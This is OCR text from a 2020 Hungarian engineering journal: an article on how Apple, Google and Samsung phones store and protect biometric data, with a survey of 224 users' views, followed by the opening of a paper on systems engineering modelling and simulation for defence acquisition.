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BIZTONSAGTECHNIKA

Kata Rebeka Sztics,” Arnold Oszi 2
Tibor Kovacs®

Mobile Biometric Solutions
from Big Tech Companies

Nagyobb gyartok megoldasai mobil
biometrikus azonositasra

Mobile and smart devices have become essential part of our lives, and as we use
them a lot, they hold a huge amount of valuable data about us, which has to be
protected. A popular way of protection, among others, is biometrics. In the follow-
ing article we are introducing how mobile biometrics work, how biometric data is
handled and protected on our phones, and why is it important to store it safely. We
also conducted a study, asking non-corporate users about their thoughts, opinion
and usage of mobile biometrics and its perceived safety.

Keywords: biometric authentication, biometric data, data protection

A mobil és okos eszk6z6k mindennapi életiink részévé valtak, és mivel rengetegszer
hasznaljuk 6ket, oriasi mennyiségli értékes adatot tarolnak rélunk, amelynek véde-
lemre van sziiksége. Ennek egy népszerii modja a biometria alkalmazasa. A kdvetkezd
cikkben az okostelefonokon hasznalt biometria miikodését, a biometrikus adatok
kezelését és védelmét vizsgaljuk, kitérve arra, hogy miért fontos a biometrikus adatok
biztonsagos tarolasa. Egy kérdGives kutatast is készitettiink, amelyben a nem valla-
lati felhasznalok véleményét kérdeztilk a mobil biometria hasznalatardl és az azzal
kapcsolatos biztonsagérzetrél.
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Introduction

Mobile and smart devices have become to a great extent part of our lives recently.
We work, communicate and relax with them, which means that they hold an enor-
mous amount of valuable data about us. This data has to be protected. Biometrics
are a fashionable way to keep data safe, and this technology is available for smart
devices, such as phones and tablets. The biometric market is growing rapidly, so the
topicis relevant and worth examining. According to study by Spiceworks, nearly 90%
of businesses will implement biometric authentication by 2020. In the same study,
they found that fingerprint and face scanners are the most commonly known and used
types in the corporate field, but generally it is visible that users miss transparency.*
These methods are also very popular among non-corporate users, but the lack of
certainty regarding data security and protection is also present among them. In the
following article we aim to introduce how mobile biometrics work, how biometric
data is handled and protected on our phones, and why it is important to store it safely.
We also conducted a survey, asking non-corporate users about their thoughts and
usage of mobile biometrics.

Mobile biometrics

Biometric identification is an automated technique which measures and records the
individual physical and behavioural characteristics of a person and uses them for iden-
tification and authentication purposes.® There are two kinds of biometrics: physical
and behavioural. The most popular ones from the physical category are fingerprint,
iris and face. The most popular behavioural are voice, handwriting and walking.
The process of biometric authentication in general consists of two main parts.
The first stage is the registration of the biometric feature of the user, and the digi-
tisation and saving of this information. The second part is the authentication itself,
when the system takes a new sample and compares it to the database. If the two
samples match, the access is granted.? In other words, these are the enrolment and
recognition phases.® During this process, a registered biometric is essentially a piece
of computer code (can be binary, sting or an image) which is used as a reference
in the future. The first part can be highly regulated within organisations, so when
the sample is taken the owner's claimed identity can be verified. But in the second
phase, the original identity is not challenged, the system is only looking for a match
with the existing data, which means that the idea that biometrics are more secure in
themselves than other methods is not correct. One important difference is that unlike
passwords for example, biometrics do not require an exact match, the two samples

4 ‘Spiceworks Study Reveals Nearly 90 Percent of Businesses Will Use Biometric Authentication Technology
by 2020, ‘Spiceworks, 12. 03. 2018. Available: www.spiceworks.com/press/releases/spiceworks-study-re-
veals-nearly-90-percent-businesses-will-use-biometric-authentication-technology-2020/. (20. 07. 2019.)

> Tibor Kovécs, Istvan Milak and Csaba Otti, A biztonsagtudomany biometriai aspektusai (Pécs: Magyar Hadtudo-
manyi Tarsasag, 2012).

¢ ,Anil K. Jain, Arun A. Ross and Karthik Nandakumar, Introduction to Biometrics (London: Springer, 2011).
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are compared for resemblance. The systems can be set to accept a reasonable level
of certainty, which is secure enough but also able to recognise the user if for example
their hands are too wet or dry. The acceptance level is called biometric matching
threshold (measuring how the live and stored samples are alike). This is usually set
lower than 100% to flexibly recognise these different states of the same bodypart,
however, we have to keep in mind that lowering the threshold can also lower security
levels. Another example is when the database is huge, it is better to set the threshold
to a higher percentage, so we don't create several false positives by accepting prints
which are similar, but are from two different people.” There are several body parts
which can be used for biometric identification, however, in this paper we are only
going to examine the ones used for mobile devices. It is also important to mention
that biometric features of a person can change over the years, so the registered sample
has to be updated from time to time.

Mobile biometrics means the implementation of biometric authentication on
mobile devices such as smartphones and tablets. These are the available methods:

« fingerprint recognition

« face recognition

* iris recognition

* voice recognition.

Fingerprint recognition is based on the patterns of ridges and valleys of fingerprints,
which are considered unique for every people. Fingertips can have more than a hun-
dred characteristic features. The individual has to provide their fingerprint first, so it
can be saved in the system, and during the authentication the new template can be
compared to the existing template. This technology is used frequently.

Face recognition is based on the characteristics of the individual's face. This is
popular, because cameras are inexpensive and are already implemented in smart-
phones. They do not require direct contact with the sensor. The biggest challenge
in this method is that the face can vary a lot, shadows under the eyes, different
hairstyles, glasses or beards have to be acceptable, but the system has to remain
secure at the same time. If the acceptance threshold is lower, liveness detection can
be applied (not just for this method), which means that the algorithm can recognise
if a sample trying to access the system is a real, living person or just a replica, photo
or sculpture with which somebody is trying to access without right.®

Iris recognition is one of the best methods of authentication as the chances of
two irises being identical are significantly low. It is also easy to verify if the subject is
live because of the pupil reflexes. The method is based on the analysis of the coloured
ring of tissue around the pupil with infrared light. (We must note that iris and retina
recognition are not the same, the latter uses the vascular network at the back of the
eye for sampling. This can vary more than the iris pattern during the individual's life.)°

7 Julian Ashbourn, Biometrics in the new world (Berkhamsted: Springer, 2014).

&  Liam M. Mayron, ‘Biometric Authentication on Mobile Devices,' IEEE Security & Privacy 13, no 3 (2015). Available:
https://ieeexplore.ieee.org/document/7118088. (20. 03. 2019.)

°®  Kovécs, Milék and Otti, A biztonsdgtudomany.
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The last point of this list is the voice recognition, which is currently not really
used in mobile phones. The problem with behavioural biometrics is that they can
vary a lot per user as well, so they are more difficult to be used. Voice recognition
can be a good example of this. Some smartphones have built in voice recognition,
for example Siri in iPhone, but they are not sophisticated enough yet to be used for
authentication. There can be many disturbing things in the environment (background
noise, acoustics of the room) which make this technique hard to utilise for identi-
fication. Combining this with a pass phrase can improve security. On some online
forums, there are stories that even though iPhone recognises for example ‘Hey Siri’
when its owner says it, it can also be fooled. Rarely, it allows others into the system
if their voices are similar to the owner's (for example if the owner's sibling from the
same sex is trying to access).

In mobile biometrics in general, most of these methods are easy to implement
in smart phones and tablets as they already have the necessary sensors (for example
camera or microphones), the computing power and storage in most cases.

Biometric authentication is very convenient as we can just use our body parts
which are always with us, we do not have to remember and type in difficult PINs or
passwords, and we do not have to have our badges with us. The main disadvantage
though is that they cannot be or are much more difficult to be changed. Once they
are compromised, misused, they cannot be used again, so the systems which are
using biometrics require a higher level of security, more advanced or new methods
of protection.

Biometrics can be most effective if they are used combined with other methods
of authentication.

Solutions from big players

‘As with any data, biometric information is only as secure as the system that protects
it. There is nothing inherent in raw biometric data that makes it more secure. However,
if it is stolen, it can be very difficult to use.”® As stated previously, if biometric data
is stolen, the consequences can be more serious, so the data itself, which is going to
be compared to the sample during authentication, has to be saved in a secure place.
Threats in case of biometric authentication can target the biometric data itself, not
just the system it is protecting. In this section, we are going to present the key players’
solutions for mobile biometrics and securing biometric data.

Apple

The available methods of biometric authentication for Apple iPhones are using fin-
gerprint and face recognition, and they are called Touch and Face ID.

' Fred O'Connor, ‘How Secure Is Biometric Data?' Veridium, 11 July 2018. Available: www.veridiumid.com/blog/
how-secure-is-biometric-data/. (15. 03. 2019.)
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According to Apple, ‘the probability that a random person in the population
could unlock your iPhone is 1in 50,000 with Touch ID or 1in 1,000,000 with Face
ID." They also mention that for children whose characteristic features are not fully
developed or for siblings and twins who look alike, these numbers can decrease
significantly.”

Touch ID allows the users to unlock their phones with their fingerprints instead
of passcodes. It can also authorise purchases from the App Store, iTunes Store, Apple
Pay and Apple Books. Touch ID allows the user to try to access unsuccessfully only
five times, after it, it requires a password or passcode (depending on the device type).
A password is also required for the setup and modification of this function (and in
some other cases). The button which makes the use of Touch ID possible is made
of sapphire crystal, which protects the sensor and acts as a lens to help it focus on
the finger. This is surrounded by a capacitive steel ring which detects touch and
tells the reader to read the fingerprint. The sensor takes a high resolution picture of
the fingerprint and the sub-epidermal layers of the skin. After this, a mathematical
representation is created of the image and it is stored (never the image itself) and
compared to the new enrolled samples.' The technology is constantly learning more
about the user's fingerprint, it expands the fingerprint map as additional overlapping
parts are added when users try to access using different angles of their prints.”

The mathematical representation of the fingerprint image is well protected (and
it is also impossible to reverse or engineer the original fingerprint from it or identify
the user). It is stored in the chip in the device, which has an advanced security archi-
tecture, Secure Enclave, developed for the safe storage and protection of biometric
and passcode data. The fingerprint data is encrypted, it is stored on the device, and
protected with a key only available to the Secure Enclave. The saved fingerprint data
is used only by Secure Enclave when it verifies if the enrolled new sample matches
the saved one, and it cannot be accessed by any applications or the operating system
either. As stated previously, this data is only stored in the chip itself, and it is not
uploaded to the Apple servers, iCloud or anywhere else where it can be used to verify
the user’s identity outside their phone.™

After the print is read, the processor forwards the data to the Secure Enclave.
This process is also encrypted and authenticated with a session key using a shared
key which is different for every Touch ID. The read image is only temporarily stored
in the encrypted Secure Enclave and after the comparison it is discarded.

Face ID makes unlocking the phone possible just by looking at it. It can provide
a robust authentication and a low false acceptance rate. It is using the TrueDepth
camera which is able to recognise the face when activated (the phone is raised or
the screen is touched). It is also able to recognise the intent, which means that
the user has to look at it directly and their eyes have to be open. Once attention

" Alex Mathew, ‘Subtlety is the Future of Biometric Authentication,’ 4 October 2018. Available: www.counter-
pointresearch.com/subtlety-future-biometric-authentication/. (23. 03. 2019.)

12 ‘About Touch ID advanced security technology,” Apple Inc., 2017. Available: https://support.apple.com/en-bn/
HT204587 (23. 03.2019.)

B Ibid.

™ Ibid.
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is confirmed, the camera projects and reads more than 30 thousand infrared dots
to create a depth map and a 2D infrared picture of the face. These images are also
saved within the Secure Enclave as mathematical representations and the matching
is also performed in this part of the chip. As faces can vary a lot per person as well, it
is worth mentioning that Apple worked a lot to develop this feature using a variety
of testers from several ethnicity, age group and so on, and their sensors are also able
to recognise users in hats, glasses or with beards. Because of the infrared sensors it
can also be used in brightness or total darkness. Face ID can be utilised like Touch
ID for purchases.”™ Users can also use Touch or Face ID with third-party applications,
in which case the app is only notified if the authentication by these is successful or
not, they cannot access the data which is being compared.

Android, Google

Without going into device specific details, let us examine Google's solution. There
is a separated area in the phone's hardware called Trusted Execution Environment
(TEE), which works with a similar logic as Apple's solution, and where the capturing
and recognition of the fingerprint happens. A TEE can either use its own processor
and memory or it can use a virtualised instance of the main CPU. It is fully insulated
and isolated and cannot be accessed. Trusty TEE, also known as Trusty OS, is the
operating system for TEE, which allows it to communicate with the system. After
the fingerprint is read, the Trusty OS checks the data inside the TEE and creates
a set of validation data and an encrypted template, which both look like junk data
to anything except the TEE.

The encrypted print data can be stored in the TEE or on the device's encrypted
storage. The validation data is stored in the TEE only. Google requires the fingerprint
templates (processed versions of raw images) to be cryptographically authenticated.
The template is using software based encryption which is sensitive to device, user
and time, so if any of those change or removed, it cannot be used again. This kind of
data is not stored on Cloud or anywhere else and is not shared with any application
(just the verification if the identification was successful or not.) In case of rooting of
a device, fingerprint data is accessible.” The user can use this kind of authentication
for payments here as well.

While we are discussing Android solutions, we will mention Samsung, who is also
using this OS and is one of the main players in this industry. Samsung Pass represents
the latest security developments at the firm. It ‘is an »identity management as-a-ser-
vice«, enabling secure access through biometric authentication’, using fingerprint,
iris and face recognition instead of passwords, passcodes and PINs." Let us consider
Samsung'’s one of the latest phones, Galaxy S10 as an example for Android. It has

> ‘Apple's Face ID: An insider's guide,’ TechRepublic, 2017. Available: www.techrepublic.com/resource-library/
whitepapers/apple-s-face-id-an-insider-s-guide-free-pdf/ (23. 03. 2019.)

' Jerry Hildenbrand, ‘How does Android save your fingerprints?' Androidcentral, 26 Sept. 2017. Available: www.
androidcentral.com/how-does-android-save-your-fingerprints. (23. 03. 2019.)

' ‘Samsung Pass,’ Samsung. Available: www.samsung.com/uk/apps/samsung-pass/. (23. 03. 2019.)
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an innovative on-screen Ultrasonic Fingerprint Scanner, which is able to read the
3D contours of the physical thumbprint, not just a 2D image of it, which enhances
safety and increases recognition rate.”® Interestingly, but not surprisingly, the imple-
mentation of this on-screen fingerprint recognition technology was initiated based
on customer research. It showed for example that authentication with fingerprint
is the most utilised method and that when the sensor is located on the front of the
phone, it is considered more convenient, but at the same time it turned out that for
users larger display is also important (so the sensor has to take as little space from
the screen as possible). So in this case, Samsung is not using an optical sensor, but
the ultrasonic version which uses ultrasonic wave to capture the uniqueness of the
print. (The company uses machine learning to help the system recognise spoofing
attempts as well to improve safety.)™

GDPR —a side note

Before we move on to our own research, we would like to mention GDPR shortly.
General Data Protection Regulation, which came into force in May 2018, aims to
protect data, to make data handling more transparent and to give data subjects
(whose data is being handled) more control over their personal data. According to
GDPR, biometric data belongs to the group of special categories of personal data,
which means that it is forbidden to process this kind of data without the owner’s clear
consent and a lawful justification of using this kind of data.?® Compliance can also
be a risk factor for organisations, however, different than the rest of the categories
which were mentioned above. If they fail to comply, they can be fined, up to 4 per
cent of annual global turnover or twenty million euros, whichever is greater, and
obviously there is also a risk of good reputation which can be strongly and negatively
influenced by such incidents.”!

Survey

To understand the local situation, we conducted an online survey with nine questions
(plus demographics). We managed to collect 224 answers: 66% of them from males,
34% from females. 53% of the respondents live in Budapest and 40% live in a city
in the countryside, so most of the responses came from cities and only 8% from
elsewhere. A little more than half of the respondents (54%) are university students,
the rest already work (only 9% of them are in a leader position). Also more than half

'8 ‘Samsung Raises the Bar with Galaxy S10: More Screen, Cameras and Choices,' Samsung. Available: https://
news.samsung.com/global/samsung-raises-the-bar-with-galaxy-s10-more-screen-cameras-and-choices.
(23.03.2019.)

' Jennifer Langan, ‘Ultrasonic Unlock: The Innovation Behind Our In-Display Fingerprint ID," Samsung. Available:
https://insights.samsung.com/2019/02/25/samsung-ultrasonic-fingerprint-scanner-how-why/. (23. 03. 2019.)

% Jeremy Dunn, ‘Managing Biometric Data: The GDPR's Requirements,’ InfoToGo 2018. Available: www.infogoto.
com/managing-biometric-data-the-gdprs-requirements/. (05. 05. 2019.)

2" 'GDPR Key Changes,' EU GDPR, 21. 04. 2018. Available: https://eugdpr.org/the-regulation/. (04. 05. 2019.)
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of them (54%) has a graduation certificate, one third (35%) of them have finished
college or university. In summary, we can see that the sample in average is relatively
young, only 3% are Baby boomers (1946-1964), 13% are generation X (1965-1979),
33% are generation Y (1980-1994) and 50% belong to generation Z (born 1995-2010).
All of the above mentioned features can influence the results of the survey which
cannot be considered representative. This is an important differentiation, because
these groups were at dissimilar ages when new technologies, such as smart phones,
internet and biometrics became this widespread, which means they reacted differently
and they feel differently about this new situation.

The first question we are going to analyse was about which biometric identi-
fication methods are known by respondents. On the below table we can see that
the fingerprint and palm print recognition (91%), eye based (88%) and face (83%)
recognition are the most well-known, possibly because lately they are built in to
smartphones and they are getting popular every day. Interestingly, for a test, we
included a fake possibility, too, and noticed that 17 (8%) respondents said that they
are familiar with muscle tone based identification, which shows that there might be
some respondents who marked that they know a certain method, but are not really
familiar with it. Using Pivot tables and frequency analysis, it is visible that the male
respondents knew more types than the females. In summary it is visible that biometric
solutions are known by both genders. While men are more confidently familiar with
the popular kinds, women are likely to know more types, as can be seen from the
chart. We can also see that there might be a certain amount of confusion around the
possibilities this method can offer (see our fake solution result).

female |male
Odor 'i;}
DNA based 9% 7%
Handwriting 9% 8%
Handgeometry 5% 10%
Vascular network (palm or finger) 7% 11%
Voice 13% 11%
Face 16% 17%
Eye (iris, retina) 19% 18%
Skin pattern (palm, finger) 20% 18%
Figure 1

Biometric identification methods known by respondents, n=224
Source: made by the authors.

24% of the respondents do not use biometric identification in their everyday life.
This means that this kind of technology still has a potential to grow and convince
more users to join. 70% of the respondents use biometrics on their phone, so this was
the most common answer, which is not surprising. Here they could also mark more
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than one answers, 17% uses biometrics in access control systems (at university or
at work), and there were about one third (27%) who mentioned using other devices
such as tablets or laptops.

70%

H On phone

W | don'tuse it
17%

In access control system
13% m On laptop

m On tablet
11%

M On computer

0% 20% 40% 60% 80%

Figure 2
How do you use biometric authentication? n=224
Source: made by the authors.

We examined these answers in relation to demographics using Pivot tables and we saw
that if we consider gender, men are likely to use biometrics in more mobile devices
than just on phones. This might be due to their stereotypical general interest for
technology and technical gadgets. Here it is important to mention that 17% of the
respondents said that their phone is not capable of biometric identification, which
means that they might use it, but they cannot. However, there are some whose phone
can deal with biometrics and they still do not use it anyway.

79% said that their phone is capable of processing fingerprint data, 33% can
handle face recognition, 9% voice and 6% iris recognition. (This was also a question
with more than one answer options.) Voice recognition is, as we mentioned, an
interesting point, because they might be able to recognise the user’s voice, however
they are not accurate enough to be used for identification.

Baby boomers |X Y Z
| don't use it 25% 18% 20% 15%
Access an aplication
Unlock phone

To pay

Figure 3
Usage of biometrics according to generations, n=224
Source: made by the authors.
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We also queried what individuals use biometric identification on their phone for, which
can be seen on Figure 3, in relation to generations. (Please note that the distribution
percentages of subgroups are calculated per generations, that is, the columns.) Our
assumption was that users who belong to younger generations are more likely to trust
biometric solutions. We have found that more than two thirds (70%) confirmed that
they use it to unlock their phone, we can also see from the table that this was the
most popular answer for this point for all generations. Both accessing applications and
verifying payments were chosen by around one third (30%). We can see that users
from younger generations are more likely to pay with this method, which is consid-
ered to be more a private and delicate action, which backs up our initial expectation.

In the first part of the article, we mentioned that storing biometric data requires
a higher level of security, as it is a special kind of data. We were curious where
respondents think their biometric data is stored. This was also a multiple choice
question and the results were the following (also visible in Figure 4): 76% think that
their biometric data is stored on their phones’ storage, which is generally the correct
assumption. 41% of the respondents said that they thought their data is stored in the
cloud, so some of them think their data is stored in both places. We could observe
that this point is quite unclear for users, there were some additional comments here
which supported this statement. This might mean for providers that a higher level
of transparency about data storage and procession could raise the users’ level of
understanding and therefore trust in them.

76%

B Phone's storage

[
e M Cloud

M SD card

6%

0% 20% 40% 60% 80% 100%

Figure 4
Where do you think your biometric data is stored for authentication? n=224
Source: made by the authors.

In the last section, we asked respondents about their approach to biometric identi-

fication, if they like or would like to use this method on a scale from 1to 10 (1 equals
never, 10 means always). The median of the answers was 9, the average was 7, which
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means that users in general are happy to use this method. If we consider gender,
a higher percentage of men were comfortable with this method than women, which
can mean that they are more knowledgeable about the subject. We also surveyed
how safe they think biometric identification is (1 means not at all, 10 means that they
trust it entirely). The median and average for this question were both 8, which means
that they think this method is quite reliable. As Figure 5 shows, we could observe
that male respondents are usually more positive about the safety of this method,
but most of the female respondents trust it as well.

Male Female

1 1% 1%

2 1%

3 1% 2%

4 3%

5 5% 1%

6 6% 2%

7 10% 7%

8 15% 6%

9 8% 8%
10 15% 7%

Figure 5

Do you think biometrics are safe? n=224
Source: made by the authors.

Summary

Considering the growing popularity of smartphones and biometrics, we aimed to
examine the topic of mobile biometric solutions from the ‘big players’ in the smart
phone field. We started with a general overview of the methods and introduced
the ways to secure our biometric data when it is used on mobile phones. (We have
to remember that there are other risks as well, not just secure biometric data
storage.) To get a picture of the current acceptance and view of biometrics around
us, we conducted a survey as well. According to our sample, still a quarter of our
respondents do not use biometrics in their everyday life, but it is getting popular.
Those who use it however, mostly use it on their phones. Men tend to use biometrics
on more types of devices compared to women. The main use of biometrics is to
unlock smartphones, but one third of the respondents like to access applications
with this data or to pay with it. We assumed that there is some confusion around
how biometric data is stored on our phones, but three quarters of the respondents
knew correctly, which means users are getting more conscious regarding data
security. Generally we can see that biometric authentication is well liked by users
and thought to be trustable.

In the future, our plan is to study mobile biometrics in more detail, with special
attention to possibilities of secure biometric data storage and methods.

Hadmérnok « 15. évfolyam (2020) 3. szam 15



16

Kata Rebeka Sziics, Arnold Oszi, Tibor Kovacs: Mobile Biometric Solutions...

References

‘About Touch ID advanced security technology.' Apple Inc., 2017. Available: https://
support.apple.com/en-bn/HT204587 (23. 03. 2019.)

‘Apple’s Face ID: An insider's guide.’ TechRepublic, 2017. Available: http://www.
techrepublic.com/resource-library/whitepapers/apple-s-face-id-an-insider-s-
guide-free-pdf/ (23. 03.2019.)

Ashbourn, Julian: Biometrics in the new world. Berkhamsted, Springer, 2014. DOI:
https://doi.org/10.1007/978-3-319-04159-9

Dunn, Jeremy: ‘Managing Biometric Data: The GDPR’s Requirements.’ InfoToGo
2018. Available: www.infogoto.com/managing-biometric-data-the-gdprs-requi-
rements/. (05. 05.2019.)

‘GDPR Key Changes.' EU GDPR, 21. 04. 2018. Available: https://eugdpr.org/the-reg-
ulation/. (04. 05. 2019.)

Hildenbrand, Jerry: ‘How does Android save your fingerprints?' Androidcentral, 26
Sept. 2017. Available: www.androidcentral.com/how-does-android-save-your-
fingerprints. (23. 03.2019.)

Jain, Anil K. —Ross, Arun A. — Nandakumar, Karthik: Introduction to Biometrics. London,
Springer, 2011. DOI: https://doi.org/10.1007/978-0-387-77326-1

Kovdcs, Tibor — Mildk, Istvan — Otti, Csaba: A biztonsagtudomany biometriai aspektusai.
Pécs, Magyar Hadtudomanyi Tarsasag, 2012.

Langan, Jennifer: ‘Ultrasonic Unlock: The Innovation Behind Our In-Display Fingerprint
ID.' Samsung. Available: https://insights.samsung.com/2019/02/25/samsung-ult-
rasonic-fingerprint-scanner-how-why/. (23. 03. 2019.)

Mathew, Alex: ‘Subtlety is the Future of Biometric Authentication.’” 4 October
2018. Available: www.counterpointresearch.com/subtlety-future-biometric-aut-
hentication/. (23. 03. 2019.)

Mayron, Liam M.: ‘Biometric Authentication on Mobile Devices.' I[EEE Security & Privacy
13, no 3 (2015). DOI: https://doi.org/10.1109/MSP.2015.67

O'Connor, Fred: ‘How Secure Is Biometric Data?' Veridium, 11 July 2018. Available:
www.veridiumid.com/blog/how-secure-is-biometric-data/ (15. 03. 2019.)

‘Samsung Pass.” Samsung. Available: www.samsung.com/uk/apps/samsung-pass/.
(23.03.2019.)

‘Samsung Raises the Bar with Galaxy S10: More Screen, Cameras and Choices.’
Samsung. Available: https://news.samsung.com/global/samsung-raises-the-bar-
with-galaxy-s10-more-screen-cameras-and-choices. (23. 03. 2019.)

‘Spiceworks Study Reveals Nearly 90 Percent of Businesses Will Use Biometric Aut-
hentication Technology by 2020." Spiceworks, 12. 03. 2018. Available: www.
spiceworks.com/press/releases/spiceworks-study-reveals-nearly-90-percent-busi-
nesses-will-use-biometric-authentication-technology-2020/ (20. 07. 2019.)

Hadmérnok « 15. évfolyam (2020) 3. szam


https://support.apple.com/en-bn/HT204587
https://support.apple.com/en-bn/HT204587
http://www.techrepublic.com/resource-library/whitepapers/apple-s-face-id-an-insider-s-guide-free-pdf/
http://www.techrepublic.com/resource-library/whitepapers/apple-s-face-id-an-insider-s-guide-free-pdf/
http://www.techrepublic.com/resource-library/whitepapers/apple-s-face-id-an-insider-s-guide-free-pdf/
http://www.infogoto.com/managing-biometric-data-the-gdprs-requirements/
http://www.infogoto.com/managing-biometric-data-the-gdprs-requirements/
https://eugdpr.org/the-regulation/
https://eugdpr.org/the-regulation/
http://www.androidcentral.com/how-does-android-save-your-fingerprints
http://www.androidcentral.com/how-does-android-save-your-fingerprints
https://doi.org/10.1007/978-0-387-77326-1
https://insights.samsung.com/2019/02/25/samsung-ultrasonic-fingerprint-scanner-how-why/
https://insights.samsung.com/2019/02/25/samsung-ultrasonic-fingerprint-scanner-how-why/
http://www.counterpointresearch.com/subtlety-future-biometric-authentication/
http://www.counterpointresearch.com/subtlety-future-biometric-authentication/
http://www.veridiumid.com/blog/how-secure-is-biometric-data/
http://www.samsung.com/uk/apps/samsung-pass/
https://news.samsung.com/global/samsung-raises-the-bar-with-galaxy-s10-more-screen-cameras-and-choices
https://news.samsung.com/global/samsung-raises-the-bar-with-galaxy-s10-more-screen-cameras-and-choices
http://www.spiceworks.com/press/releases/spiceworks-study-reveals-nearly-90-percent-businesses-will-use-biometric-authentication-technology-2020/
http://www.spiceworks.com/press/releases/spiceworks-study-reveals-nearly-90-percent-businesses-will-use-biometric-authentication-technology-2020/
http://www.spiceworks.com/press/releases/spiceworks-study-reveals-nearly-90-percent-businesses-will-use-biometric-authentication-technology-2020/

y [ X J
15. évfolyam (2020) 3. szam 17-42.
DOI: 10.32567/hm.2020.3.2

HADITECHNIKA

Rodrigo Guajardo’

Systems Engineering Modelling
and Simulation to Support Defence
Acquisition System

Rendszermérnoki modellezés és szimulacié a védelmi
beszerzés rendszerének tamogatasara

Modelling and Simulations have been applied in various engineering disciplines since
the 1990s, especially in the area of defence, being an essential tool in all phases of
the cycle of acquisition and in all applications whose main objective are to reduce
the time, resources, and risks associated with acquisition, to enable the integrated
product and process development, and to improve the quality of the fielded pro-
duct. One of the main purposes of this research is to demonstrate the importance of
Systems Engineering (INCOSE) as part of the defence acquisition system and how
this engineering discipline has incorporated the use of Modelling and Simulations
into their acquisition-cycle phases and processes.

Keywords: systems engineering, modelling, simulation, defence, acquisition.

A modellezést és a szimulaciét az 1990-es évek 6ta alkalmazzak a miszaki tudoma-
nyok teriiletén, kiilondsen a védelmi iparban, a beszerzési folyamat egyes szakaszaiban
és minden olyan alkalmazas soran, amelynél fontos, az elfogadhaté ar, a megfelelé
mindség és a hataridé betartasa, valamint a kockazatok csékkentése. igy az integralt
termék és folyamatfejlesztéssel lehet6vé valik a késztermék minéségének a javitasa.
A tanulmany f6 célja, a védelmi beszerzési rendszereken beliil, a rendszertervezés
(INCOSE) fontossaganak a bemutatasa, tovabba annak az elemzése, hogy a miiszaki
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Introduction

Before the industrial revolution, the development of complex systems was generally
based on the results of lengthy trial and error processes, mainly through observation.
The design and production of such systems can be characterised as lacking rigorous
theoretical analysis. Indeed, the same might be said of some modern, large, complex
systems. The absence of rigorous modelling and simulation made the designs more
vulnerable to external influences that could not always be deflected adequately
without detailed scientific evidence.

The continued development of mathematical and scientific knowledge in the
18" and 19*" centuries, while facilitating great leaps forward in the complexity that
could be achieved in complex systems — as in case of ships —, was still limited by the
absence of appropriate tools to make full use of this knowledge. The ability to solve
complex, non-linear and dynamic problems have stemmed directly from the advent
of the digital computer, which provided mathematical and scientific theory with the
enabling mechanism needed to model and simulate complex systems.

Modelling and simulation is a crucial enabler for mitigating the high risk involved
in a complex system acquisition.? While engineers of pre-industrial eras might have
lacked the ability to make use of sophisticated, dynamic modelling and simulation,
modern systems engineering has no such excuse. Modelling and simulation offer
a mechanism for shortening time, increasing effectiveness, mitigating risk, and con-
trolling cost. If modelling and simulation cannot deliver these benefits, it is of dubious
value in system development. If a complex system is developed with inadequate
levels of modelling and simulation, one cannot hope for a proper outcome.

Modelling and Simulation (M&S) have long played an essential, although imperfect,
role in system acquisition, operations, and support throughout the system life-cycle.
Increasingly, capability concepts and system designs are defined by building models
within the synthetic environments provided in systems and software engineering
tools and computer-aided design (CAD) tools. M&S helps manage complexity by
tracking system characteristics, functions, relationships and interactions at the most
granular level and then presenting aggregated impacts and higher-level measures of
merit to decision-makers. System capabilities, processes, workloads, performance,
logistics, and cost can be modelled. M&S allows the immersion of warfighters in
realistic operational environments to assess concepts, capabilities, and tactics. It can
help explore the entire functional capability trade space.

Distributed simulation technology allows the flexible mixing of simulations, lab
hardware, and real systems into an integrated environment in which integration and
testing can be conducted. The effective acquisition requires collaboration among
multiple stakeholders. M&S are effective means of communication, facilitating shared
understanding and insights among warfighters, sponsors, program staffs and industry
at a much earlier point than would otherwise be possible. Thus M&S tools linked as

2 Systems Engineering Fundamentals. Supplementary Text Prepared by the Defense Acquisition University Press,
Fort Belvoir, Virginia, January 2001. Available: https://ocw.mit.edu/courses/aeronautics-and-astronauti-
cs/16-885j-aircraft-systems-engineering-fall-2005/readings/sefguide_01_01.pdf (24. 09. 2020.)
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needed, combined with an information-sharing infrastructure and put into a distributed
collaborative environment can enable cost-effective development and sustainment
of systems and systems of systems. If program circumstances (for instance, budgets,
threats, technology) change, system design and support changes can be made rapidly,
with all stakeholders able to play an appropriate role in those decisions.

The International Council on Systems Engineering (INCOSE3), in its October
2006 version of Systems Engineering Vision 2020, defines model-based systems
engineering (MBSE) as ‘the formalised application of modelling to support system
requirements, design, analysis, verification and validation, beginning in the conceptual
design phase and continuing throughout development and later life cycle phases.™

Systems engineering basis
The definition of Systems Engineering (SE)

Systems Engineering consists of two main areas or disciplines: the field of technical
knowledge that is the environment of the systems engineer, and the area of systems
engineering management.

Three used definitions of systems engineering are provided by the following
technical standards that apply to this subject. They all have a common theme:

‘Systems engineering is an interdisciplinary approach and means to enable the
realisation of successful systems. It focuses on defining customer needs and required
functionality early in the development cycle, documenting requirements, and then
proceeding with design synthesis and system validation while considering the com-
plete problem: operations, cost and schedule, performance, training and support,
test, manufacturing, and disposal.”

‘A logical sequence of activities and decisions that transforms an operational
need into a description of system performance parameters and a preferred system
configuration." (MIL-STD®-499A," Engineering Management, 1 May 1974. Replaced
by ISO/IEC/IEEE 15288.1-2014 IEEE ‘Standard for Application of Systems Engineering
on Defence Programs'.8)

> 'The International Council on Systems Engineering (INCOSE) is a not-for-profit membership organization
founded to develop and disseminate the interdisciplinary principles and practices that enable the realization of
successful systems. INCOSE is designed to connect SE professionals with educational, networking, and career
advancement opportunities in the interest of developing the global community of systems engineers and sys-
tems approach to problems.’ ‘About INCOSE’, INCOSE. Available: www.incose.org. (24. 09. 2020.)

4 Systems Engineering Vision 2020, INCOSE, 2007, 15. Available: www.ccose.org/media/upload/SEVision2020_
20071003_v2_03.pdf (01. 11. 2020.)

> INCOSE - Systems Engineering Handbook: A Guide for System Life Cycle Processes and Activities, ed. by David D.
Walden (New Jersey: John Wiley & Sons, 2015), 11.

© MIL-STD: A United States defence standard, often called a military standard, ‘MIL-STD', ‘MIL-SPEC’, or (infor-
mally) ‘MilSpecs’, is used to help achieve standarisation objectives by the U.S. Department of Defense.

7 MIL-STD 499A:1974 Military Standard: Engineering Management, U.S., Department of Defense. Available:
http://everyspec.com/MIL-STD/MIL-STD-0300-0499/MIL-STD-499A_10375/ (11. 11. 2019.)

& ‘Department of Defense Instruction 5000.02 (DoDI)', U.S. Department of Defense, Washington DC, 2015. Avail-
able: http://acqnotes.com/wp-content/uploads/2014/09/DoD-Instruction-5000.2-Operation-of-the-Adaptive-
